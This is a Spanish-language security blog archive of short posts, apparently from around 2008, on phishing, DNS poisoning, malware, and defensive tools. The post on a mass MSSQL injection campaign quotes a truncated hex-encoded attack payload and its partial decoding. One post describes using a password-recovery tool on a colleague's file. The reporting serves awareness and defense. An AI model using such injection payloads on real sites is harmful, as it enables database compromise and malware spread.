Seguridad

Estas viendo el archivo de la categoría Seguridad.

image Y no, no dije desconfíe, dije "desconfie", como diría el negro Dolina. El día anterior me consultaron unos usuarios, consternados, por un email importantísimo cuyo archivo adjunto no podían abrir "con nada", y era importante porque decían que provenía del Poder Judicial de Brasil. Lo primero que hice fue pedir que m reenviaran ese mensaje taaaan importante, para verificar lo que ya me imaginaba. A continuación paso a desguazar el correo en cuestión. A la mayoría de los que me siguen no creo que les esté diciendo nada nuevo, así que bien pueden ahorrarse la lectura; esto es más bien un instructivo para el uso del sentido común que quiero dejar asentado para mostrarlo cuando haga falta.

Enos aquí, con un supuesto mail importante. Por qué es importante, dirán? Vamos a ver. El asunto dice: N.º 687/2008 URGENTE! PROCEDIMENTO INVESTIGATÓRIO N.º 687/2008. Aaahh… claro, dice "URGENTE!" en mayúsculas y con signo de admiración, encima se complica entender bien qué dice porque está todo en portugués, seguro se trata de algo importante! Y "PROCEDIMENTO INVESTIGATÓRIO" con esos numeritos al final tampoco se ven muy bien…

Seguir leyendo »

image Las vulnerabilidades encontradas en el DNS, más allá de haberse mostrado como un fiasco, está trayendo cada vez más peligros a cualquier equipo que se conecte a Internet. Una nueva herramienta, llamada Evilgrade (presentación en PDF), utiliza estas técnicas de explotación junto a otras más para hacer que cualquier equipo descargue e instale falsas actualizaciones de software que en realidad pueden ser troyanos, virus, o cualquier otro tipo de payload que el atacante desee.

Evilgrade, creado por Francisco Amato, especialista en seguridad informática argentino y fundador de Infobyte Security Research, se trata de un kit de herramientas diseñado para aprovecharse de los sistemas de actualización online inseguros que muchos fabricantes de software implementan, en donde no se verifica ninguna integridad del supuesto paquete de actualización que se descarga, confiando plenamente en que si se lo está descargando de update.fabricante.com éste tiene que ser original y puede ejecutarse en el sistema con total tranquilidad. Entre las armas que Evilgrade utiliza, además del DNS Cache Poisoning de moda se encuentran también otras técnicas conocidas como el ARP y el DHCP Spoofing. Está programado en Perl y funciona en base a módulos, incluyendo en esta primer versión los que permiten aprovecharse de los sistemas de actualización de Sun Java, Winzip, Winamp, Mac OS X, OpenOffice, iTunes, Linkedin Toolbar, DAP, Notepad++ y Speedbit. En este video puede verse una demostración en la que se logra ejecutar código malicioso en una PC con un Windows totalmente actualizado a través del sistema de actualización de la máquina virtual Java de Sun Microsystems. Por supuesto, de momento y para causar más revuelo a raíz de la masividad que supone, muchos de los módulos están pensados para software que corre bajo Windows, pero como puede verse este mecanismo de intrusión es completamente independiente de la plataforma, sólo requiere que la actualización falsa sea el malware adecuado para el SO que se quiere comprometer.

Con todas estas amenazas, hoy más que nunca es importante prestarle atención al fallo de los DNS y actualizar todos los sistemas que sean necesarios y/o utilizar servicios que no están afectados como OpenDNS.

Vía Kriptópolis.

Algo de agua pasó bajo el puente del problema de seguridad con el DNS: Ahora ya sabemos que se filtró información antes de tiempo y que, seguramente gracias a eso, hay exploits dando vueltas. Lo que también ahora sabemos, siempre gracias a Kriptópolis, son los métodos para comprobar desde nuestra consola la seguridad al respecto de cualquier servidor DNS, eliminando la necesidad de recurrir al test del sitio de Dan Kaminsky, el cual nos permite chequear solo al de nuestro ISP.

Desde Linux se puede utilizar la herramienta dig, que viene incluida dentro las distros más populares, para chequear contra un servidor DNS especial que nos responderá si si estamos en condiciones buenas, medias o pobres de seguridad. Los comandos que podemos utilizar son cualquiera de estos:

dig +short @ip_dns_a_testear porttest.dns-oarc.net txt

De la misma forma, en Windows tenemos tanto la opción de utilizar la herramienta dig instalándola desde acá como la de utilizar directamente el comando nslookup que viene incorporado:

nslookup -type=txt -timeout=30 porttest.dns-oarc.net ip_o_hostname_del_dns_a_testear

Por ejemplo, la primera vez que escribí sobre este fallo del DNS había chequeado los DNS de Telefónica y estos eran vulnerables. Si ahora los chequeo nuevamente me tira que los muchachos al menos hicieron su trabajo actualizándolos:

Servidor:  dns23r.speedy.com.ar
  Address:  200.63.155.67

Respuesta no autoritativa:
  porttest.dns-oarc.net   canonical name = z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net

z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net     
text = "200.63.155.20 is GOOD: 26 queries in 5.8 seconds from 26 ports with std dev 20372.97" 

z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net     nameserver = ns.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net

En cambio, si por ejemplo analizamos uno de IPlan, vemos que viene habiendo bastante inoperancia por ese lado:

Servidor:  dns1.iplanisp.com
  Address:  200.69.193.1 

Respuesta no autoritativa:
  porttest.dns-oarc.net   canonical name = z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net

z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net     text = "200.69.193.1 is POOR: 26 queries in 4.1 seconds from 1 ports with std dev 0.00" 

z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net     nameserver = ns.z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net

Gracias a estos comandos podemos también sacarnos la duda con los servicios DNS de firewalls o routers, ya sean hogareños o corporativos. Por ejemplo yo pude confirmar lo que se decía en los foros de DD-WRT sobre que este firmware para routers no se ve afectado por el bug.

También, si no nos queremos complicar demasiado, existe, además del de Kaminsky, otro test vía web para verificar nuestros DNSs automáticamente.

Hace un par de semanas que estoy viendo en el panel de enlaces entrantes algunos que son provenientes de spamblogs, donde al entrar me encuentro con una larga lista de sitios enlazados, entre los que, claro, se encuentran el mío. Sé que no es una forma para nada nueva de hacer spam, pero hasta ahora no tenía el recuerdo de que me haya sucedido, y menos con tanta asiduidad. El último al que entré por curiosidad, tan gentil y amable, me advirtió de un terrible problema en mi PC y me ofreció instalarme un tal Antivirus 2009, un malware del que no hace mucho hablaba Alejandro de SpamLoco.

image

Me debo estar haciendo popular o algo así, supongo…

image Las inquietas mentes de XDA-Developers concibieron otra interesante aplicación para Windows Mobile, aunque en este caso no es muy ética que digamos. Bautizada como BT Spammer, y con un nombre que se explica solo, esta aplicación permite bombardear con mensajes de texto, imágenes y otros objetos a todos los dispositivos Bluetooth presentes en las cercanías que estén en modo visible, pudiendo ser útil en pruebas de hacking e ingeniería social, pero también en campañas de marketing de proximidad. Sin duda alguna lo que más será es una molestia para quienes estén cerca del gracioso…

Por supuesto el programa es gratis, y requiere del .NET CF 2 para andar.

Vía FreewarePocketPC.

image Está dando vueltas un nuevo tipo de malware que se vale de los archivos multimedia para propagarse. No sería nada nuevo, si no fuese por el hecho de que se aprovecha de una funcionalidad, no una vulnerabilidad, de formatos de archivo como ASF o WMA que permiten incluir comandos dentro de los mismos. De esta manera este malware consigue que al abrir cualquier archivo de audio o video infectado sea lanzado el navegador con una supuesta descarga de un "codec", el que engañosamente se le pide al usuario desprevenido que descargue y ejecute para poder luego reproducir correctamente el archivo multimedia. Por supuesto lo que está descargando e instalando es el malware en sí. La otra faceta maligna de este virus es que no presenta este comportamiento si la máquina ya está infectada, por lo que aquél que comparte sus archivos multimedia infectados no tiene noción de este hecho, ya que puede reproducirlos normalmente sin que le salga nada raro.

Ni bien es instalado en un sistema, este malware se encarga de escanear todas las unidades en busca de contenido multimedia para infectarlo, y en el caso de los archivos MP3 tiene un comportamiento muy interesante: Ya que el formato no permite la ejecución de comandos, los convierte a WMA para poder realizar su infección. Así que si de repente toda su colección de MP3 figura como en formato WMA en el diálogo de información de su reproductor multimedia, ya pueden imaginarse por qué.

Al parecer el objetivo principal del malware (su payload) es instalar un keylogger que roba contraseñas. Desconozco si algún antivirus estará detectando como peligrosos los archivos multimedia que contengan comandos incluidos, pero por las dudas es mejor abstenerse de andar dándole click a cualquier cosa, como siempre.

Más info en Dark Reading y The Hacker Webzine.

image El autor de The Hacker Webzine, Ronald van den Heetkamp, demuestra una vez más su predilección por el navegador Opera, esta vez ofreciendo un UserScript (archivos con código Javascript que permite modificar el comportamiento de un sitio web, lo mismo que hace la extensión GreaseMonkey para Firefox) que aprovecha las capacidades de Opera de interceptar código antes de de ejecución desde esta plataforma. De esta forma nace Arioso, un script que promete ir mejorando y que está enfocado a impedir cualquier ejecución de código potencialmente malicioso, respetando más que nada a rajatabla la política de no permitir nada que no provenga del mismo origen que el sitio en cuestión.

De momento en las pruebas realizadas me resultó demasiado agresivo, bloqueando videos embebidos y anuncios en general,  pero será cuestión de tiempo para ver si resulta de verdadera utilidad para cualquier usuario de Opera.

Actualización: Ya está disponible la segunda versión de Arioso.

image El DNS siempre fue un gran olvidado por años en lo que respecta a la seguridad en IT, aunque últimamente muchos venían levantando voces sobre el peligro que representaba. Ahora, todos parecen haberse puesto de acuerdo en el problema gracias al especialista en seguridad Dan Kaminsky, y todos los grandes pilares de Internet y del Software, como Cisco, Microsoft, Debian, Red Hat, y un larguísimo etcétera, están liberando parches para solucionarlo.

El problema que existe con el servicio de DNS es tan viejo como su propia creación probablemente, y radica en la forma en que se realizan las transacciones entre los servidores DNS no autoritativos que realizan consultas a otros servidores y cacheo de las respuestas. DNS utiliza el protocolo UDP, que es liviano y a diferencia de TCP no tiene ningún control de sesión o secuencia de paquetes, por lo que la respuesta a cada petición DNS es autenticada únicamente mediante estas condiciones:

  • Debe existir una petición exclusiva para esa respuesta.
  • La dirección IP de origen debe ser la misma a cuyo servidor se le envió la petición.
  • Cada petición utiliza un número de ID único de 16 bits, el cual debe ser idéntico al de la respuesta.
  • La respuesta debe ser enviada al mismo puerto de donde se originó la petición.

Hasta acá parece que la seguridad estaría bastante cubierta, pero como siempre, del dicho al hecho hay largo trecho, y en la práctica las cosas no son tan lindas como en la teoría.

Seguir leyendo »

image Algo que ya se veía venir y que ahora comienza a materializarse en una realidad palpable: Apareció DNSChanger, un troyano que crackea por fuerza bruta routers domésticos para cambiar los servidores DNS configurados y así comprometer, mediante ataques de phishing (por ejemplo haciéndole creer al usuario que está en el sitio web de su banco) o inyección de malware cualquier computadora en la red local que navegue mediante ellos. Para lograr la intrusión el troyano utiliza una lista de passwords por defecto conocidos con los que intenta acceder, y si lo logra ya tiene el control completo del router, y con este virtualmente de toda la red local que aquel maneja. Aparentemente los ataques se concentran en routers de las marcas D-Link y Linksys.

Una forma de detectar si fuimos comprometidos por DNSChanger es encontrar el rango IP 85.255.*.* en nuestros parámetros de TCP/IP; otra consiste en ingresar en el navegador un dominio que sabemos inexistente y observar que aún así se carga un sitio web. Más información y capturas relativas a este troyano pueden verse en el blog de TrustedSource.

Por el momento, una de las medidas de prevención obvias y básicas, que hay que hacer ni bien se instala un router, es cambiar su contraseña por defecto por una segura creada por nosotros. También es importante no mantener sesiones abiertas con la interfase web del router mientras se navegan otros sitios. Lo mejor después de haber terminado de trabajar con la interfase web del router es cerrar el navegador por completo (incluyendo todas las ventanas y solapas abiertas) para asegurarse que cerramos la sesión, o utilizar las opciones de privacidad de navegadores como Opera o Firefox que permiten hacer lo mismo. También podemos evitarnos algunos problemas si utilizamos algún firmware más avanzado.

Vía Dark Reading.

image DecaffeinatID es una aplicación freeware para Windows que pretende agregar una capa extra de seguridad al sistema, pero que para nada reemplaza a un firewall personal ni a un buen antivirus. Básicamente consta de dos partes: Una que examina constantemente los logs de Windows para informarnos de cualquier intento de acceso a uno de los servicios de nuestro sistema o de algún cambio en el firewall, y otra que vigila el protocolo ARP contra ataques de Poisoning, que suelen usarse para controlar/espiar en el tráfico de otros usuarios de la misma red.

Mientras que estas características hacen útil a DecaffeinatID tanto en una red hogareña como en una gran oficina, su principal objetivo y utilidad se enfoca en las conexiones a hotspots o zonas Wi-Fi públicas, donde este tipo de técnicas para espiar e interceptar la información privada de otros puede llegar a ser moneda corriente. Funciona tanto en Windows XP como en Vista.

En pocas palabras una descarga recomendada para nuestra notebook.

Vía LifeHacker.

En el sitio de Microsoft están disponibles tres guías de seguridad con templates e información para asegurar de la mejor manera posible tanto servidores como estaciones de trabajo. Se encuentran en inglés y son las siguientes:

Las guías en sí constan de un archivo de instalación que descomprime en el sistema decenas de configuraciones de seguridad preestablecidas para modificar las políticas de Windows. Vale la pena tenerlo a mano para cuando hay que ponerse serio con la seguridad.

Vía IntelliAdmin.

Este bien podría entrar en la categoría de micropost. No hay mucho que decir, se trata de otro sitio pedorro que pretende quedarse con los datos de las cuentas de MSN de los pobres incautos que ingresen en el, el cual como siempre promete decirte quién te borró, quien te bloqueó, y quién dijo a tus espaldas que la tenés chiquita. Lo que me pareció gracioso de este es el penoso gancho gráfico, que cuadra por supuesto con la mediocridad uniformada del resto de estos sitios:

image

Además de manejar a la perfección el lenguaje HOYGAN, el creador de esta maravilla gráfica apunta a comunicar la promesa de ese sentimiento de banana bárbaro que experimentaría el nardo que, con toda la evidencia en sus manos, increpa (posiblemente desde otro MSN, ya que si lo borraron casi seguro también lo bloquearon) al malvado y rastrero borrador/bloqueador, quien se ve tremendamente sorprendido por la clarividencia de aquél que despreció, pidiendo disculpas luego y prometiéndose a sí mismo y a éste que no lo hará nunca más. Bueno, o eso soñará el usuario medio que ingresa a estos sitios.

image La gente de InfoSpyware creó un programa llamado MSNCleaner, el cual promete eliminar automáticamente la mayor parte de los virus más conocidos que se distribuyen a través de Windows Live/MSN Messenger, así como reparar y restaurar diversos elementos de Windows bloqueados o modificados por estos. Recomiendan para su efectiva utilización ejecutarlo iniciando previamente Windows en modo a prueba de fallos, luego eliminar todos los temporales con una aplicación como CCleaner y finalmente volver a iniciar en modo normal. En el caso particular de la restauración de la página de inicio de Internet Explorer, lo hace cambiándola por la dirección del sitio de InfoSpyware, pero como también habilita la posibilidad de cambiarla desde la configuración del navegador puede luego reemplazarse fácilmente por nuestra página de inicio habitual.

Vía iMessengr.

image Según The Hacker Webzine lo es, cuyo autor incluso publica código de ejemplo mostrando como con un simple formulario y una línea de Javascript sería posible comprometer una base MySQL cuyo nombre y el de sus tablas sea conocido o adivinable, si visitamos un sitio que explote esta vulnerabilidad mientras aún permanecemos con la sesión iniciada en PHPMyAdmin. La única forma de prevenir esto es, por supuesto, no navegar otros sitios mientras trabajamos con él, y una vez que acabamos cerrar y volver a abrir el navegador, o utilizar las opciones de eliminación de información privada para eliminar la sesión PHP que por defecto dura alrededor de 24 minutos desde la última vez que se tuvo acceso al software.

image Si administrás equipos que corran Debian o alguna otra distro derivada del mismo, como Ubuntu y sus varios sabores, y generaste certificados entre el 2006 y el 2008, es muy posible que éstos sean vulnerables debido al reciente y famoso bug-de-la-línea-de-código-omitida que afectó críticamente a todas las claves generadas desde el paquete OpenSSL incluído. Debido a la gravedad del asunto ya existen algunas compañías que ofrecen servicios de detección online de certificados comprometidos, como ServerSniff.net, la cual se ofrece a decirnos si los certificados SSL o SSH de nuestro Linux está en la lista negra de certificados predecibles generados por la versión defectuosa de OpenSSL incluida en Debian. También es importante saber que, si no nosotros no nos encargamos de hacer esta revisión en nuestros equipos y tomar las medidas pertinentes, cualquiera puede hacerla fácilmente en nuestro lugar, y ya con eso saber que puede irrumpir fácilmente en nuestro sistema. De todas formas el escaneo no es exhaustivo, y su estamos ante la duda, lo mejor será regenerar todos los certificados si esto no nos reporta mayores problemas.

Vía Kriptópolis.

image La gente de LifeHacker rescató del olvido a una de esas aplicaciones que recuperan contraseñas de archivos PST de Microsoft Outlook, en este caso a PstPassword, y yo no pude evitar ponerme nostálgico. Me acordé de una jefa de sistemas que conocía que era una especie de Bela Talbot de Supernatural, por lo buena que estaba y por lo garca que era, que tenía entre muchas de sus paranoicas costumbres la de ponerle contraseña al PST de su Outlook y a los de otras amebas importantes dentro de la empresa. Me acuerdo que cuando conseguí un CD lleno de herramientas de todo tipo, entre las cuales figuraba una aplicación similar a la mencionada, su PST fue el primero en venir a mi mente para poder probarla; culpa suya por tener la pieza faltante que necesitaba para mi test.

El caso es que el cifrado de estos archivos PST es muy liviano, tanto que incluso pueden ser abiertos no sólo por la contraseña original, sino por otras que dan como resultado el mismo hash al procesarlas. Y en esto PstPassword brinda una ventaja, ya que no obtiene una clave, sino 3 para un PST dado, maximizando las probabilidades de que entre estas 3 esté la clave original que el usuario puede también estar usando en otros sistemas y cuentas.

¿Y que pasó con la dueña del PST cifrado? Como buena Bela que es continuó en su carrera embaucadora y ahora es gerente de sistemas de un importante hotel de la zona de Retiro. Pobrecitos.

image No es la primera vez que ocurre, pero esta vez es masivo. En otra oleada de ataques masivos de inyección SQL, en los cuales se busca infectar la mayor cantidad de sitios posible, esta vez la carga maligna que descargan en los servidores afectados son básicamente animaciones Flash (archivos swf) que explotan un bug de Adobe Flash Player conocido como CVE-2007-0071, supuestamente ya solucionado en la última versión del reproductor, pero reportado por Symantec como aún efectivo en ésta. Este bug del reproductor Flash permite descargar e instalar cualquier programa que se le ocurra al atacante, desde keyloggers hasta troyanos de todo tipo, y todo lo que hace falta es abrir un sitio web que contenga un objeto Flash maligno. Dado que el 99% de los sitios web portan algún objeto Flash, la decisión es difícil, pero si realmente se quiere tener cuidado, lo mejor es deshabilitar los objetos Flash a menos que sea realmente necesario utilizarlos, ya que no se sabe si el sitio legítimo al que accedemos hoy pudo haber sido comprometido hace días para infectar a sus visitantes.

En Opera podremos habilitar o deshabilitar Flash a voluntad mediante un botón personalizado, mientras que en Firefox se puede usar la extensión Flashblock; y en Internet Explorer… bueno, úsenlo si son temerarios! Seguro que algunas herramientas hay pero no recuerdo ninguna para recomendar en este momento.

Y recuerden, cuidarse es quererse Tongue.

Vía Dark Reading.

image 

Ya no da para hablar mucho de este tema; se dijo todo lo que se podía decir, y hasta yo metí mi bocado. Pero, a pesar de no haber tenido tiempo para reflexionar en Geekotic sobre el asunto como se merece, no podía dejar de mencionarlo. Yo lo pienso como un llamado a la realidad para algunos, una muestra de que los grandes dioses que algunos veneran también son humanos. No hay mucho más para decir; tampoco se va a caer el mundo por esto.

image Hace un buen tiempo que me debía hablar sobre este magnífico firewall basado en Linux llamado IPFire. Hace un buen tiempo que lo vengo utilizando con bastante éxito y quería dedicarle la review que se merece. En realidad, y como todo linuxero sabe, cualquier distro de Linux podría usarse como firewall, después de todo todas vienen con IPTables. Pero la elegancia y facilidad de una solución customizada como IPFire permite utilizarlo más como un appliance  que como un sistema operativo al que hay que andar toqueteando y ajustando, lo cual reporta en instalaciones más rápidas y menos problemáticas. Comencemos a conocer un poco más de este excelente firewall.

Seguir leyendo »

image Hace unos días echábamos un vistazo sobre la gran variedad de analizadores de vulnerabilidades para aplicaciones web; hoy no estaría mal ver algo que ayude a prevenirlas.

Ronald van den Heetkamp, el autor de The Hacker Webzine, vuelve a sorprendernos; esta vez con lo él mismo denomina como un firewall para aplicaciones web. Básicamente se trata de una serie de instrucciones para el archivo de configuración de Apache .htaccess, el cual es muy conocido por todo aquel que mantenga un sitio web. La configuración a la que llegó Ronald permite filtrar diversos ataques de inyección SQL y penetration testing, así como casi cualquier cosa escape del tráfico tradicional proveniente de un browser.

En la entrada original de The Hacker Webzine podremos ver y copiar todas las instrucciones para luego incluirlas en el archivo .htaccess, así como una breve explicación por parte del autor de lo que realiza cada una. Es posible que luego de aplicarla en un servidor existan algunos problemas de compatibilidad en ciertas áreas del sitio; ahí se deberá probar hasta que encontremos cuál es la opción que nos está generando problemas, por lo que conviene primero afinar la configuración en un servidor de pruebas antes de modificar directamente un sitio en línea.

image El tema que voy a tocar hoy es uno tan recurrente que hasta resulta anecdótico, pero desde hace un tiempo cada vez tiene un poco más de peso para mi. Ya hace unos 11 años, cuando conectábamos a Internet PCs corriendo Windows 95, uno bromeaba con sus amigos cada vez que veía una demora y el LED de acceso al disco rígido prendido por un gran tiempo, diciendo algo como "ahí está Microsoft levantando todos tus datos". La broma empezó a volverse cada vez más seria en los últimos años, comenzando para muchos con el infame Notificador de WGA de Windows XP, hasta finalmente llegar a noticias más recientes como esta que podemos ver en Kriptópolis, donde el mismo Microsoft nos deja bastante claro que tiene, mediante su conocida Herramienta de eliminación de software malintencionado para Windows, o no, alguna clase de puerta trasera oculta que recopilaría todo el tráfico de los millones de PCs con Windows que lo tendrían instalado, para luego ayudar a las autoridades de distintos países a combatir las redes de botnets, y vaya uno a saber qué más…

Seguir leyendo »

image En estos tiempos de aplicaciones web y web services, muchos especialistas coinciden que la parte más vital de la seguridad pasa por ahí; no tanto en lo bien que tengamos erigidas las reglas en el firewall, sino en lo bien protegida que tengamos nuestras aplicaciones web. Es por eso que herramientas como los escáners de aplicaciones web proliferan, resultando ya casi imprescindibles. A continuación podemos ver algunos de ellos:

Seguir leyendo »

image Vassilis Kostakos, un investigador de la Universidad de Bath, en el Reino Unido, mantiene un proyecto bastante interesante: Mediante la ubicación estratégica de cuatro adaptadores Bluetooth en el centro de su ciudad más una PC con Linux y el software correspondiente, fue capaz de rastrear los movimientos de 10.000 teléfonos y dispositivos móviles, permitiéndole incluso analizar encuentros y relaciones sociales entre los poseedores de estos. Algo similar a la amenaza a la privacidad que nos plantea el uso de RFID, pero al alcance de cualquiera.

Por supuesto, la solución es simple y está en nuestras manos. Al igual que cuando hablamos del peligro de que hackeen nuestro teléfono vía Bluetooth, lo mejor que podemos hacer es mantenerlo apagado y activarlo sólo cuando necesitamos utilizarlo, algo que de paso agradecerán nuestras baterías proveyéndonos algo más de autonomía.

Vía Kriptópolis.

image En LifeHacker realizaron una corta pero interesante lista de servicios y aplicaciones que permiten prevenir, o en el peor de los casos mitigar, el hurto de nuestra notebook. De todos los listados, posiblemente los más efectivos e interesantes sean Laptop Alarm, una aplicación que emite un sonido de alarma por los parlantes de la portátil si se trata de apagarla, ponerla en hibernación, o desconectarle el mouse u otro dispositivo; y LaptopLock, una aplicación ligada a un servicio online que permite, en caso de que marquemos el equipo como robado desde su sitio web, disparar diversas acciones ni bien este es utilizado con conexión a Internet, como borrar irreversiblemente o cifrar nuestros datos, mostrar un mensaje en pantalla y/o bloquear el sistema operativo, siendo también posible configurar que la aplicación pregunte por una contraseña cada cierto tiempo si nos preocupa que sea usada sin conexión a la red. Ambas soluciones están disponibles sólo para Windows y por el momento son gratuitas, y en realidad resultan opciones útiles no sólo para el caso de la sustracción de portátiles sino también para equipos de escritorio.

image Innumerables veces he leído u oído hablar de la confianza que genera el código abierto por sobre el cerrado, cuan mantra capaz de lavar cerebros en masa, y por lo general termino haciéndole a esa gente la siguiente pregunta: ¿Revisás el código y compilás vos mismo todo el software que utilizás?

El reciente caso de una extensión de Firefox comprometida nos enseña eso. En esta ocasión se trató del paquete de lenguaje en vietnamita, el cual, mientras que en su código fuente se advertía limpio, en su versión compilada (la que habrán descargado el 99% de los interesados) contenía un gusano de Internet que se ejecuta en Windows, creyéndose que esto sucedió porque el paquete fue compilado en una PC con este sistema operativo ya comprometida.

Más allá de que el asunto también dispara alarmas concernientes a cómo es posible que la corporación Mozilla llegara a alojar en sus servidores oficiales un archivo infectado, esto también nos alerta sobre la excesiva confianza, la que se ve en muchos nuevos convertidos del software libre, que se creen herederos directos de Richard Stallman nada más que porque hace unos meses aprendieron a instalarse el Ubuntu y a escribir una líneas en PHP. Y la moraleja es que, mientras el código abierto en sí brinda mayores garantías en cuanto a la seguridad, también puede llegar a ofrecer una falsa sensación de ésta, principalmente para quien no puede, por falta de conocimientos, tiempo, ganas, o los tres, revisar y compilar cada paquete de software que vaya a utilizar; en este caso la mayoría de nosotros pobres mortales. Sí, posiblemente siempre existirá alguien que revise el código, lo compile, lo compare con el binario disponible en el sitio de descarga, y alce la voz en caso de encontrar algo extraño, pero, ¿podemos asegurar que todos los proyectos open source existentes poseen al menos a uno de estos ángeles guardianes realizando esta acción por cada nuevo release? Podemos apostar que no. Y es por eso que me parece estúpido cuando algún fanboy de Firefox descalifica a Opera por ser simplemente de código cerrado. Nada es tan negro ni tan blanco. El código abierto es fabuloso pero no nos volvamos extremistas.

image Aunque haya sido parecido una buena idea en su momento, la realidad es que en los últimos 5 años o más no hemos dejado de ver malware aprovechándose de la plataforma ActiveX de Internet Explorer para realizar todo tipo de estragos en Windows. Y aunque Microsoft haya tratado de mitigar el peligro intercalando avisos antes de la instalación de cada control, la realidad es que el usuario común y corriente poco va a saber sobre lo que está aceptando en su sistema. Es por eso que seguramente, en un intento más por acotar esta ventana de ingreso de virus y troyanos sin anular por completo su funcionalidad, la compañía Errata Security lanzó una aplicación gratuita llamada AxBan, la cual, de manera similar a un antivirus, se actualiza con una lista de controles ActiveX maliciosos los cuales bloqueará en caso de ser encontrados en el sistema. Puede descargarse desde acá, y es una herramienta obligada para todo aquél que navegue la web con Internet Explorer.

Vía Dark Reading.

image Bloquear algunas aplicaciones P2P ya no es todo lo fácil que era antes. En muchos casos, a menos que se cuente con una red donde toda conexión saliente este bloqueada y el tráfico salga únicamente por un proxy http, el programa favorito de ese luser que se baja videos de Jessica Sirio siempre va a encontrar un puerto por donde salir, así sea el 80. Por ende, en casos donde no son aplicables las políticas de seguridad correspondientes para impedir la instalación de aplicaciones no deseadas, es necesario encontrar otro camino. No hace mucho yo hablaba de una forma algo efectiva, aunque no del todo; pero existe también otra un poco más global y, por ende, útil.

App Killer es una aplicación gratuita creada por la compañía PalmerSoft, basándose en pedidos de muchos de sus visitantes y clientes y pretendiendo crear algo de ayuda y que a su vez los promocione. Su función consiste en impedir la ejecución de determinadas aplicaciones, configurables a voluntad por el administrador, entre donde se encuentran los programas de P2P y mensajería instantánea más populares, así como juegos, herramientas de sistema, y otros. Su concepto de uso es muy similar al que utilizan los kits para crear troyanos, porque básicamente en las máquinas a controlar el programa se mantendrá tan oculto e invisible como aquellos.

Seguir leyendo »

Cientos de miles de sitios web que utilizan Microsoft IIS y MSSQL Server como sus motores fueron atacados mediante un ataque de inyección SQL, para poder incluir código javascript que redireccionara a sus visitantes a sitios maliciosos donde se prueban todo tipo de vulnerabilidades para lograr instalar malware en las computadoras de estos. Según F-Secure, una búsqueda listando cadenas específicas de la infección arroja más de 510.000 sitios afectados:

image 

El ataque a los servidores MSSQL se logró inyectando una serie de sentencias en su mayoría codificadas en hexadecimal, que comienzan así:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006...

Y traducido a texto sería lo siguiente:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b...    

Entre los sitios afectados se encuentran muchos de renombre como la UNICEF o las Naciones Unidas, así como de múltiples compañías serias y confiables, por lo que cualquier visitante está expuesto hasta que el código malicioso sea removido de todos los sitios.

Como usuarios, la única defensa posible es en primer lugar, no utilizar Internet Explorer, al cual van dirigidos la mayoría de los ataques; en segundo, usar Opera (deshabilitando plugins y, si se quiere aún más seguridad también los scripts por defecto) o Firefox con la extensión NoScript.

Vía Kriptópolis, F-Secure, The Hacker Webzine.

image Se acuerdan del revuelo que se armó cuando se supo que las memorias DRAM conservan la información incluso sin energía durante un tiempo? Bueno ahora las cosas se ponen aún mejor.

Unos investigadores de la Universidad de Princeton publicaron un detallado estudio donde discuten la obtención de claves de cifrado de la memoria DRAM de una computadora mediante un reset en frío, o sea activando el switch de reset de la CPU. Estos investigadores obtuvieron exitosamente, mediante este método, las claves de conocidos sistemas de cifrado como BitLocker, TrueCrypt y dm-crypt, y se discuten distintos métodos de obtención del contenido de la memoria DRAM. Uno de los más simples es reiniciar el equipo y hacerlo arrancar desde un pen drive con un sistema Linux como msramdmp, el cual se las arregla para hacerlo sin alterar la memoria y permite volcarla completamente en una partición. Pero existe otro método también mencionado y aún más peligroso, que es la obtención remota del contenido de la DRAM utilizando el arranque desde la red conocido como PXE, hoy presente en la mayoría de los equipos modernos con adaptador de red on-board. En este caso los investigadores lograron crear una pequeña aplicación de 9 KB capaz de transferir el contenido de 1 GB de DRAM en alrededor de 1 minuto a través de adaptadores de red de 1 Gigabit/s.

Vía Security Hacks.

image Es muy común cuando trabajamos con Windows encontrarnos a veces con procesos sospechosos que no conocemos, y ante la duda de que sea algún malware consultar en la red información al respecto. Existen ya varios sitios que enumeran información de procesos de Windows, algunos más confiables que otros, pero qué mejor que preguntarle al que fabrica el sistema operativo en primer lugar? DLL Help Database Search es un buscador provisto por Microsoft para proveer información sobre una basta mayoría de archivos .exe, .dll y .sys, incluyendo un historial de versiones y la ruta original del archivo. Al parecer sólo existe información sobre archivos de productos de Microsoft en esta base, lo cual parece lógico, pero es una buena fuente de información oficial al respecto.

Vía IntelliAdmin.

image A veces no podemos elegir y debemos si o sí ingresar información personal en una computadora pública o que es de alguien más, y si realmente no nos queda más remedio, es bueno contar con toda la protección posible.

Anti Keylogger Shield es una aplicación gratuita que deshabilita los mecanismos normalmente utilizados por cualquier keylogger de software para registrar lo que se tipea, de manera tal de volverlos completamente inútiles, al menos en su función primaria (otras funciones, como captura de pantalla no se verán afectadas). Esta herramienta tiene como única contra el hecho de no ser portable y requerir una instalación, pero igual vale la pena usarla en casos de emergencia.

Vía LifeHacker.

